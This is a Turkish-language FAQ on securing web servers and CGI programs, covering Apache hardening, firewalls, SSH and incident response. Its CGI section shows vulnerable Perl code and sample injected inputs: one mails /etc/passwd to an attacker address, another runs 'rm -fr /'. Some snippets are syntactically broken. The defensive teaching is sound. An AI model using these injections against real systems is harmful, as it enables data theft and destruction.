Çok karşılaşılan bir durum: sitenizi geliştirirken, veritabanlarından bilgi alma, onlara yazma gibi gereksinimleriniz doğdu. Bunun için de CGI uygulamalarınızı yazdınız. Ve bir gün Web sunucusuna bağlanmaya çalıştığınızda makineye birilerinin girdiğini, "kötü birşeyler" yaptığını farkettiniz.

Bu bir senaryodan çok, sıkça karşılaşılan bir durumdur. Bir bilgisayarın güvenlik riskleri fişi takıldığı andan itibaren başladığı halde, güvenlik hala ihmal edilmektedir. Bunun birkaç sebebini saymak gerekirse:

• Yetersiz bilgi
• Makinenin kırılamaz olduğunu varsayma
• Hiç kimsenin sizin sunucunuzla uğraşmaya tenezzül etmeyeceği düşüncesi
• Programları yazarken yeterlice sınamama
• Tembellik

Güvenlik deliklerinin başlıca sebepleri:

Bütün bilgisayarların ve programların insan elinden çıktığı düşünülürse, onlara zorla girebilecek başka kişilerin varolması da çok normaldir. Web sunucuları gibi çoklu kullanıcı ve dış dünyaya açık olması zorunlu sistemlerdeyse bu risk katlanmaktadır. Genel olarak bir Web sunucusunun güvenlik açıklarının sebepleri şunlardan bir kısmı veya hepsidir:

• Karşı uç
• Kullanıcı verileri
• Web sunucusu
• Web tarayıcısı
• CGI, ya da genel olarak sunucu tarafı çalışan programlar ve onların çağırdığı programlar

Karşı uç: Hattı dinleyen, sistemdeki açıkları taratan bir saldırgan da olabilir, virüs gibi sisteme istenmeden yerleşen bir program da.

Kullanıcı verileri: İstemciden aldığınız veriler; bu verileri her ne şekilde işlerseniz işleyin, bir kontrolden geçirmek faydalı olacaktır.

Web sunucusu: Kullanılan Web sunucusunun çeşitli açıkları biliniyor olabilir. Güvenlik sitelerinde araştırma yaparak, kullandığınız sunucu sürümüne özel, ya da eski sürümlerde olup, sizdeki sürümde hala kapatılmamış açıkların bir listesini çıkarmanız faydalı olacaktır.

Web tarayıcısı: 2. maddeyle birleşik düşünülebilir. Güvenliğiniz, kullanıcıdan gelen verileri doğrulamak için istemci tarafı tekniklere (ör. JavaScript'le form doğrulama) dayandırılmamalıdır.

CGI, sunucu tarafı programlar: Web sunucunuz, CGI programlarıyla saldırıya daha açık hale gelebilir, ancak bu her zaman daha güvensiz olacaktır şeklinde de yorumlanmamalıdır.

Sıkça sorulan sorular:

Soru:
Hangi işletim sistemi daha güvenlidir?

Cevap:
Her işletim sisteminin kendine has güvenlik delikleri vardır. Ancak bunların bir kısmı acemi saldırganlara kolay geçit vermezken, bazıları her gelene kapıyı açabilirler. Sitenizi tasarlarken eğer herşeyden önce güvenliği ön plana alıyorsanız, Unix türevi bir işletim sistemi (ancak hepsi değil) kullanmanız yerinde olacaktır. Örneğin, FreeBSD geliştirilirken çok güvenli bir Internet sunucusu olarak tasarlanmıştır. Ancak, Linux, Solaris, HP-UX gibi sistemler de bu iş için çok uygundur. Windows 95/98 gibi son kullanıcıyı hedef alan işletim sistemleriyse asla ciddi bir alternatif olarak görülmemelidir. Windows NT'yse paketten çıktığı haliyle pek güvenli değildir, ve güvenli hale getirilmesi için biraz uğraşılması gerekir.

Soru:
Web sunucusunu root olarak çalıştırmanın yanlış olduğunu duydum, bu doğru mu?

Cevap:
Unix işletim sisteminde 1024'den küçük bir port'u dinlemek için, root erişim haklarına sahip olmak gerekir. Birçok sunucu, ilk açılış esnasında root olarak çalışır, ancak daha sonra 'effective uid'sini çok kısıtlı hakları olan nobody gibi bir kullanıcıya çevirir. Bu haliyle birçok sunucuda (ör. kaynak kodu açık olan Apache'de) bir güvenlik deliği görünmemektedir, ve bu haliyle bu sistem iyi çalışmaktadır. Ancak yine de nobody kullanıcısının sistemi kullanarak e-posta gönderme (sistemdeki /etc/passwd dosyası gibi) gibi hakları vardır. Ancak buradaki sorunun kaynağı kullanıcının kimliği değil, çalıştırılan CGI (genel olarak sunucu tarafı çalışan her tür dil, ASP, Perl, C, PHP vb) uygulamalarıdır denebilir.

Bu soruyla asıl olarak kastedilense, sunucunun çalıştıktan sonra da root uid'sini kullanması, ve örneğin CGI'ların root haklarına sahip olarak çalışmasıdır ki, bu gerçekten açılabilecek en büyük deliklerden biridir.

Windows sistemlerindeyse, sıradan bir kullanıcı bile 80. port'u dinleyebildiği için, IIS (3 ve 4 sürümlerinde) sunucunuzu göçerterek yerine kendi istediği bir programı çalıştırabilir, ve sitenizi ziyaret edenler, Web sayfalarınız yerine saldırganın istediği herhangi bir çıktıyı görebilirler.

Soru:
SSH nedir?

Cevap:
SSH, Secure Shell'in kısaltmasıdır ve şifrelenmiş telnet diyebileceğimiz bir bağlantı sağlar. Bir SSH programıyla karşı tarafa bağlandığınızda, karşı makineyle bir anahtar değişimi yaparsınız. Bu anahtarlarla, karşı tarafa göndereceğiniz bilgiyi şifreleyebilir ancak açamazsınız. Aynı şekilde, karşıdaki makineden size gelen bilgiler de sizin gönderdiğiniz anahtarla şifrelenir, ama yalnız sizin özel anahtarınızla açılabilir. Dolayısıyla, hattı dinleyerek paketleri inceleyen biri olsa bile, giden mesajları çözemeyeceği için iletişim güvenli olacaktır.

Soru:
Chroot ortamı nedir?

Cevap:
Unix sistemlerinde Chroot (Change root) komutuyla Web sunucuyu "güvenli bir kutu" içinde çalıştırabilirsiniz. Chroot ortamında, sunucu Web sayfalarının durduğu dizin dışında, dosya sisteminde hiçbir dizini göremez. Ancak sunucunun bu ortamda çalışabilmesi için de, işletim sisteminin mini bir kopyası bu dizinin içinde durmalıdır. Böyle bir mini işletim sistemi kurmak da gerçekten zordur. Böyle bir ortam kurulduğu zaman ise, CGI programlarının çalıştırılması zorlaşır, çünkü derlenmiş ya da yorumlanan dillerin bu mini işletim sistemine konulması imkansız gibidir. Konulması zorunluysa, chroot ortamı kullanmanın anlamı ortadan kalkacaktır.

Soru:
Sunucunun üstünde zaten çok fazla veri yok. Bir saldırgan girse ne olur ki?

Cevap:
Bir saldırgan yerel ağınıza girdiğinde, ağı dinleyen bir program çalıştırarak (ör. snoop Solaris'lerde hazır olarak gelmektedir), ağ üzerinden şifrelenmemiş olarak giden tüm paketleri dinleyebilir, şifrelerinizi ve hassas verilerinizi öğrenebilir. Bu tip programlara genel olarak sniffer (~koklayıcı) denir ve Internet üzerinde 10'larca türevi vardır.

Ağ üzerindeki sniffer'ları tespit edebilen bazı sistem yönetim programları da vardır. Ancak bunun bir tespit yöntemi de, yoğun trafiği olan ancak kabul edilebilir hızda çalışan bir ağda, sniffer çalıştırıldığı zaman ağ performansın hissedilir olarak düşmesidir.

Her ihtimale karşı yerel ağda bile çalışırken, SSH gibi programlar kullanılmalıdır.

Soru:
Siteme bir ziyaretçi defteri (guestbook), sayaç vb eklemek istiyorum, güvenli midir?

Cevap:
Ziyaretçi defterlerinin çoğu basit programlardır ve birçoğunun hatalar içerdiği bilinmektedir. Bu tip programların hemen hepsi diske yazma, diskten okuma işlemleri yaptığı için potansiyel tehlike arzederler. Ayrıca, HTML kodlarının ayıklanmaması da, sayfanızda istenmeyen görüntüler yaratabilir.

Sayaçlar da benzer şekilde disk üzerinde okuma ve yazma işlemleri yaptıkları için potansiyel tehlikeli sınıfına girerler. Ayrıca, ziyaretçi defterleri de sayaçlar da genel olarak zaten pek işe yaramayan programlardır, ve sitenin kullanım değerini arttırmazlar. Özellikle bedava sayaç veren sitelerden alınanlar da, siteye bağlantı hızını düşürebilirler.

Prensip olarak bilmediğiniz bir programı kullanmaya başlamadan önce, şunları bir gözden geçirin:

• Aynı programı kullanan diğer kişilerin tecrübeleri
• Programın kaynak kodu elinizdeyse, disk erişimi, ağ erişimi yapıp yapmadığı, ve socket kullanıp kullanmadığı
• Kritik değişkenlerin, özellikle de istemci tarafından gelen veri ya da istek dolayısıyla ortama eklenen değişkenlerde buffer overflow (tampon taşması) olup olmayacağı
• Programın truva atı çalıştırıp çalıştırmadığı
• Programın yetmesi gereken haklardan fazlasını (ör. bir ziyaretçi programı root olarak kurmanızı istiyorsa şüphelenmek gerekir) isteyip istemediği

Soru:
HTML formlarında POST yerine GET kullanmanın daha güvenli olduğunu duydum. Bu nasıl olur?

Cevap:
Aslında burada kastedilen GET'in daha güvenli olduğu değildir. POST metoduyla gönderilen veriler, sunucunun kayıt dosyalarında görünmezken, GET metodunda kayıtlara geçerler. Dolayısıyla CGI'ınıza kuraldışı parametreler göndermeye çalışan saldırganların tüm hareketleri sizde kayıtlı olacaktır.

Soru:
AUP nedir?

Cevap:
Acceptable Use Policy - Kabul edilebilir kullanım politikası. Sistemi kullanan kişilerin, ağ üzerinde nasıl davranmaları gerektiği, hangi tip programları çalıştırabilecekleri, hangilerini çalıştırmamaları gerektiği vb bilgilerin bulunduğu bir belgedir. Mutlaka kullanıcılarınızdan, sisteme girmelerinden önce böyle bir belgeyi kabul ettiklerini onaylamalarını isteyiniz.

Web sunucularında, AUP'nin yeriyse daha çok sitenize içerik hazırlayan kişilerin kabul etmesi amaçlıdır. Web sitenizin durduğu makineyi kullanan kişilere güvenlik politikanızı açıklayan bir belge hazırlayınız.

Soru:
CGI programlarımda neye dikkat etmeliyim?

Cevap:

• Asla, asla ve asla, kullanıcıdan aldığınız verileri bir komut satırına parametre olarak bile göndermeyin. Bu maddeyi hiç aklınızdan çıkarmadığınız zaman, en büyük açıklardan birini kapatırsınız.
• 1. maddeyi uygulayamamanız halinde, kabuk metakarakterlerini (shell metacharacters, ör. &;<>|* vb) karakterleri mutlaka kontrol ediniz. Bazı örnekler vermek gerekirse:
  • Kullanıcının verdiği bir adrese e-posta göndermek için şu Perl kodu yazılmış olsun:
    

    $eadres = &getadres; open(EPOSTA, "| /var/lib/sendmail   $eadres); print EPOSTA, "To: $eadres\nFrom:   ulakbim@ulakbim.gov.tr\n\n   Teşekkürler\n"; close EPOSTA;

    Bu durumda bir saldırgan, şu şekilde bir e-posta adresi vererek makinenizdeki şifre dosyasını ele geçirebilir:
    hickimse@hicbiryer; mail saldirgan@kotu.yer < /etc/passwd
    Daha iyi bir yol şu olabilir:
    

    $eadres = &getadres; open(EPOSTA, "| /var/lib/sendmail   -t); print EPOSTA<<POSTASONU;   To: $eadres   From: ulakbim@ulakbim.gov.tr   Subject: Teşekkürler   ...   POSTASONU close EPOSTA;

  • Bir başka örnek vermek gerekirse, kullanıcıdan aldığınız kelimeleri sıralamanız gerekiyor ve şu Perl kodu kullanılmış:
    

    system "/bin/sort < &veri_al";

    
    Bu satır, Perl'in bir kabuk açarak, sort programını çağırmasını sağlar. Ancak, veri_al fonksiyonundan gelen verilerde verilecek metakarakterler kabuk tarafından işleme konacaktır: ör. "1 3 2>/dev/null; rm -fr /" (saldırgan dosyaları CGI'ın çalıştığı kullanıcı olarak silebilir de silemeyebilir de, ancak deneyebileceği ilk şey olabilir). Bunun yerine daha iyi bir yöntem şudur:
    

    system "/bin/sort", &veri_al;

    
    Bu yöntemde, Perl bir kabuk açmadan parametreleri doğrudan işletim sistemine gönderir ve dolayısıyla metakarakterler bir sorun olmazlar.
• Yine kullanıcıdan aldığınız verileri, parametre olarak göndermek zorundaysanız, aldığınız veriyi beklediğiniz veriyle karşılaştırın. Bu karşılaştırma işleminde, istenmedik karakterleri atmak yerine (ki istenmeyen çok geniş bir kavramdır), tam olarak istediğiniz veriyle karşılaştırma yapın.
  • Örneğin, kullanıcıdan bir e-posta adresi bekliyorsanız şu kodu kullanabilirsiniz:
    

    $eposta = &veri_al; die "Verdiğiniz adres isim@kurum.com   biçiminde değil" unless (   $eposta =~ /^[\w.+-]+\@[\w.+-]+$/; # bu regexp sadece eposta   adreslerini eşler

• Bu durumları uyarmanın bir yöntemi de, Perl'de bulunan tainting (lekelemek) mekanizmasını kullanmaktır. Bunu yapmak için CGI programınızın başına "#!/usr/bin/perl -T" gibi bir satır eklemelisiniz. -T seçeneğini verdiğiniz zaman Perl, tainted (programın dışından alınan, ör. ortamdan alınan, standart girdiden ya da komut satırından alınan) değişkenleri system(), exec(), (|'la kullanırsanız) open() ve eval() komutlarında kullanmanıza izin vermez. Ayrıca tainted değişkenlerden türettiğiniz bütün değişkenler de otomatik olarak tainted olurlar. Tainted bir değişkeni untainted (lekelenmemiş) bir değişken haline ancak Perl'ün karakter eşleme metodlarından biriyle, ör. =~, çevirebilirsiniz.
• Özellikle, yorumlanan dillerle yazdığınız CGI'larda çağırdığınız programların dizinlerini açık olarak veriniz, ör. ls yerine /bin/ls gibi.
• CGI programlarınızı tamamen yetkisiz bir kullanıcı hesabında çalıştırınız, ör. nobody. Bu şekilde CGI'ınızdaki bir hata nedeniyle, saldırganlar CGI'ın çalıştığı hesaba erişim hakkı kazansa bile, sisteme hemen zarar veremez.
• Perl kullanıyorsanız, cgi-lib.pm gibi güvenilirliğini kanıtlamış bir modül kullanınız. Not: PHP, klasik anlamda CGI (harici çalıştırılabilir şeklinde, ör. /usr/local/bin/php gibi fiziksel bir program) olarak şu an için pek sağlıklı çalışmasa da, Apache modülü olarak (ör. mod_php.so vb) gayet iyi çalışmakta, ve Perl'de hazır gelmeyen CGI işlevlerini hazır olarak sunmaktadır.
• Siteniz CGI programları tarafından üretiliyorsa, CGI programlarınızın gelişmiş hata kontrolleri yaptığından ve bunların kayıtlarını tuttuğundan emin olun. Mümkünse bu program, kayıtlarını otomatik olarak e-postayla başka bir makinedeki sistem yöneticisine göndermelidir.

Soru:
Makineyi kırılması imkansız hale nasıl getirebilirim?

Cevap:
Makinenizi kapalı tutunuz. Kırılması imkansız bir sistem yoktur.

Soru:
Özel olarak Apache için neler yapabilirim?

Cevap:

Apache, genel olarak güvenli bir sunucudur, ancak yanlış ayarları sunucunun farketmesi ve sizi uyarması imkansızdır. Yine de bazı ayarları değiştirerek sistemi daha da güvenli yapabilirsiniz.

• Öncelikle sembolik link'lerin takibini (Option FollowSymLinks) kapatınız (bir yolu "Option SymLinksIfOwnerMatch" demektir). Bu her ne kadar sunucunun performasını düşürse de, sistemdeki bir kullanıcı gizlice bir dizinden /etc gibi kritik bir dizine sembolik link verebilir.
• Ayrıca, dizinlerin otomatik listelenmesini (Option Indexes) iptal edebilirsiniz (Option None). Bir saldırgan sisteminizde bulunan yedek dosyalarını, kendinize kolaylık amacıyla oluşturduğunuz ama silmeyi unuttuğunuz sembolik bağları, geçici oluşturulan dosyaları, CVS dosyalarını, sitenizin iç yapısını göremezse, içeri girmesi de zor olur.
• Sunucu hakkında bilgi almak için kullanılan, /server-info ve /server-status programcıklarını sadece IP adreslerine erişilir kılmalısınız.
• Harici bir modül olan mod_disallow_id'yle (Apache sitesinde contributed modules altında bulabilirsiniz) belli kullanıcılara, ör. root, sys, daemon veya bin'e dosyaların Web sunucu tarafından hiç okunamamasını, dolayısıyla çalıştırılmamasını da sağlayabilirsiniz.
• Son olarak da, CGI programlarınızı mutlaka merkezi bir yerde tutunuz ve bu dizine yazma hakkını kısıtlayınız. İşleri kolaylaştırıyor görünen .cgi uzantılı dosyaları nerede görürsen gör çalıştır seçeneğini aktif (yani: AddHandler cgi-script .cgi) hale getirmeyiniz.
• Apache'yi suExec özelliğini kullanacak şekilde derleyebilirsiniz. suExec, CGI programlarını Web sunucunun çalıştığı hesaptan başka bir hesapta da çalıştırabilir, ör. Web sunucunuzu nobody, CGI programlarini cgiuser gibi bir hesapta çalıştırabilirsiniz.
• Apache'yle birlikte gelen CGI script'lerinin (ör. printenv) ismini değiştiriniz ya da çalıştırma hakkını iptal ediniz.

Soru:
Firewall nedir?

Cevap:
Bir firewall programı, yerel ağla dış dünyayı birbirinden soyutlayarak, iki taraf arasındaki trafiği kısıtlayabilir. Örneğin, firewall'ın içinden (yerel ağ) dışarıya FTP izni verebilir, ama dışarıdan (dünya) içeriye FTP yapılmasını engelleyebilirsiniz. Bir firewall kurmak, güvenliği sağlamanın en temel adımlarından biridir. Firewall'unuzu kurduktan sonra, sistem yöneticisi, kullanılması zorunlu port'lar (örneğin, Web için 80, FTP için 21, SSH için 22 vb) dışında her port'u dış dünyaya kapatmalıdır.

Soru:
Peki, Web sitemi firewall'un içine mi dışına mı koymalıyım?

Cevap:
Aslında tersi durum da tercih edilebilmesine rağmen, iyi bir çözüm dışına koymaktır. Bu durumda, sunucu firewall'un koruduğu dışarıdan her türlü saldırıya açık olacaktır, ancak sunucuya zorla girilmesi halinde, saldırganlar firewall'un içine girmemiş olacaklardır (sunucunun firewall içinde kalması durumunda, saldırganlar firewall'u aştıkları için yerel ağ üzerinde - büyük ihtimalle - rahatça dolaşacaklardır). Böyle bir kurulum tercih edildiği takdirde (sunucu bir nevi 'kurbanlık koyun' gibi olacaktır) unutulmaması gereken birkaç husus da şunlardır:

• Sunucunun root/admin şifresini başka hiçbir makinede kullandığınız root şifresiyle aynı yapmayınız. Sunucunuza zorla giren kişiler, aynı şifreyi diğer makinelerde de deneyeceklerdir.
• Benzer şekilde, sunucuda başka kullanıcı hesapları açacaksanız, iç sitenizde kullanılmayan şifreler belirleyerek, bunların değiştirilmemesini, hatta mümkünse erişimin bir paketleyici (wrapper, ör. Web tabanlı bir erişim programı) tarafından yapılarak, bu şifrenin iç kullanıcılar tarafından bile öğrenilmemesini sağlayın.
• Veritabanı kopyalama (replication), dizin senkronizasyonu gibi işlemleri sunucudan firewall içine bir trafikle değil, firewall içinden sunucuya doğru bir trafikle yapınız.
• Mümkünse firewall içinden sunucuya paylaştırdığınız dizinlere sadece okuma izni veriniz.

Soru:
Aynı makinede hem Web hem de FTP servislerini çalıştırıyoruz. FTP ve Web servislerinin kök dizinlerini aynı yapmak bir güvenlik açığı getirir mi?

Cevap:
Bu sık yapılan bir uygulamadır, ve uzaktan yüklenen dosyalar doğrudan çalıştırılmadığı sürece herhangi bir sorun olmaz. Ancak, bir saldırgan uzaktan yüklediği bir CGI programını çalıştırabilirse, sisteminize zarar verebilir. Böyle bir makinede, uzaktan yüklenen dosyaları okunur yapmamalısınız. Birçok FTP sitesindeki "incoming" dizini yazmaya açık, listeleme ve okumaya kapalıdır. Siz de bu yolu tercih etmelisiniz.

Soru:
Sunucuya birisinin girdiğini farkettik, ne yapmalıyız?

Cevap:
Öncelikle paniğe kapılmayın ve sakın makineyi bir anda kapatmayın. Önce saldırganın o anda ne yapmakta olduğunu tespit etmeye çalışın ve sanki haberiniz yokmuş gibi davranın. Bu arada root hesabında çalışıyorsanız, tanımadığınız komutları yanlışlıkla da olsa çalıştırmamak için, sisteme normal bir kullanıcı olarak girin. Bu programlar root haklarında çalışırsa, kendi elinizle sisteme zarar vermiş olursunuz. Makinedeki önemli kayıt dosyalarının (syslog, sulog vb) ve listelerin (last|more>last.out, ps-ef>ps.out vb) hemen bir kopyasını e-posta, scp gibi bir yöntemle başka bir makineye atın.

Makinenizi tek kullanıcı modunda (single user mode, genellikle "init s" gibi bir komutla) açın. Öncelikle sisteme en son eklenen, ya da değiştirilen dosyaların listesini çıkartın ve setuid biti açık programlara ya da yukarıda aldığınız kayıtlardan bu programların aldığı dosya parametrelerine bakınız. Kullanıcının sisteme girdiği IP adresini kayıtlardan bulmaya çalışarak, makinenin kaynağı olan yeri bulmanız da işe yarayabilir. Bu şekilde, karşı tarafın sistem yöneticisine bir e-posta atarak durumu bildirebilirsiniz. Ayrıca kayıtları inceleyerek olağan olmayan durumları araştırınız. Birçok saldırgan, bir programa belli parametreler göndererek, onu önce şişmeye zorlarlar (genellikle buffer overflow şeklinde olur) sonra da makineye root erişimi kazanırlar. Bu şekilde bir program bulursanız, o servisi önce iptal ediniz, daha sonra başka bir makineden Internet'e bağlanarak saldırganın kullandığı metodları tespit etmeye çalışınız. Saldırganın kullandığı metodu bulursanız, bu açıkları kapatmanız da daha kolay olacaktır. Sisteminizde bir hasar tespit edebilirseniz, yedeklerinizden sistemi eski haline getiriniz. Daha sonra sunucuyu dış dünyaya tekrar açmadan önce, yedeklediğiniz dosyalardaki (ör. CGI programları, yanlış ayarlar) hataları da düzeltmeyi unutmayınız.

Not: Yukarıda bahsedilen yöntem, sistem yöneticisinden yöneticiye değişebilir. Bu sadece örnek bir uygulamadır ve fikir vermek amacıyla yazılmıştır.

Soru:
Başka neler yapabilirim?

Cevap:
Aşağıdaki maddelerin uygulanması, güvenlik deliklerini kapatmamakla beraber, bir felaket durumunda sistemin kurtarılmasını, sorumlunun bulunmasını, ya da olası güvenlik problemleri olan servislerin iptal edilmesini sağlarlar.

• Öncelikle, sistemin dönüşümlü yedeğini alınız. Bir göçme durumunda yedekler çok işinize yarayacaktır. Firewall olan bir ortamda, yedekleri içerideki bir makineden, dışarıdaki sunucuya güvenli bir yolla (Unix NFS ve Windows File Sharing çok güvenli metodlar değildir, özelleşmiş metodlar, örneğin tar/scp ikilisi, daha güvenli olabilir) bağlanarak alınız. Tersini (dışarıdaki Web sunucusundan içerideki bir makinenin diskine yazmaya çalışarak) asla yapmayınız.
• Web sunucunuzu mümkünse, başka servislerin çalışmadığı, üzerinde kullanıcıların tanımlanmadığı bir makineye taşıyınız.
• Yerel ağınızda bir SSH paketi kullanınız. Bu programlarla yerel ağ üzerinden akan tüm trafik kırılması yüzyıllar alacak şekilde şifrelenmektedir. SSH'ın avantajı, Web sunucunuza bağlanmak zorunda kalan kişilerin, makineye gizlice girmiş bir saldırgana şifrelerini kolayca kaptırmamalarını sağlar.
• Web sunucunuzda, grafik arabirim (Unix'deki Window Manager kavramı) vb gereksiz özellikleri kapatınız (Windows'da bu mümkün değildir). Ayrıca makine üzerindeki tüm gereksiz servisleri kapatınız. Örneğin, Unix'de RPC, NFS server, finger, rlogin gibi servislerin güvenlik delikleri bilinmektedir. Hatta, sendmail, inetd gibi programları daha güvenli "olan" qmail, xinetd gibi programlarla değiştiriniz. Not: Windows 2000'de bu iş imkansız gibidir.
• Makinenize gelen tüm servis isteklerinin bir kaydını alınız. Örneğin tcp wrapper programı (xinetd içinde bu destek de vardır) bu işi çok iyi yapmaktadırlar.
• Web sunucunuzun kayıtlarını düzenli olarak inceleyiniz, ve hatta bir kayıt analiz programı kullanabilirsiniz. Mümkünse bu kayıtları da düzenli olarak yedekleyiniz.
• Makinenize DoS (Denial of Service) saldırılarını engelleyiniz. DoS, bir saldırının adı değil, bir saldırı biçimidir, ve birden çok yöntemi vardır. Örneğin ping paketleriyle bombardıman yaparak makinenin dış dünyaya cevap veremez hale getirilmesi ya da Web sunucusundan 10000 karakterden oluşan bir adres istenerek sunucunun kilitlenmesi, DoS saldırılarıdır. Yapılan saldırının türüne göre farklı önlemler vardır.
• Güvenli bir Web sunucusu için SSH ve HTTP servisleri yetmektedir. Geri kalan tüm servisler ekstra ihtiyaçlarınız için açılmaktadır, ancak bir sitenin vermesi gereken minimum servisi etkilemezler.
• Şifrelerinizi düzenli olarak değiştiriniz. Bu yolla, şifreniz bir kere öğrenilmiş bile olsa, öğrenen kişi bu şifreyi sisteminize girmek için tekrar kullanamaz. Ayrıca, kritik makinelerinizin şifrelerini asla aynı yapmayınız, herbiri için ayrı şifreler kullanınız.
• Ağ monitörleme ve sniffer programlarını tespit eden programları kullanınız.
• Genel olarak saldırganlar, bir makineye girdikten sonra, tekrar girebilmeleri için kendilerinin bildiği açık kapılar bırakırlar. Sistemde çalıştıracağınız bir programla, sistemdeki kritik yerlerdeki (örneğin /sbin, /etc, /usr/local vb) dosyaların tarihlerinin değişip değişmediğini, eklenen/silinen programların ve dosyaların listesini, ya da dosyaların içindeki değişiklikleri kontrol etmelisiniz. Bu tip programlara genel olarak intrusion detection programları adı verilir
• Server Side Include (Sunucu tarafı ekleme) kullanıyorsanız, Exec komutunu kapatınız. Apache için bunu istediğiniz yerler için Option IncludesNoExec yönergesiyle yapabilirsiniz.
• CGI programlarınıza bir paketleyici yazarak, CGI'larınızı önce ona havale eder ve alt CGI'ları onun üstünden çağırabilirsiniz. Bunun iki avantajı vardır:
  • Alt programlara gerekli bilgileri devretmeden önce bir güvenlik kontrolü yapabilirsiniz.
  • Alt programlarda, kendisini çağırması gereken program olarak paketleyici programı gösterirseniz, saldırganlarınızın sitenize (bir şekilde) yüklediği bir programı rastgele bir biçimde çalıştırmasını engelleyebilirsiniz.
  Bu metodun bir benzerini kullanan çeşitli CGI wrapper'lar mevcuttur, ör. yukarıda da bahsedilen Apache suExec, ya da cgiwrap, sbox paketleyicileri.

Ayrıca bakınız:

CGI Uygulamaları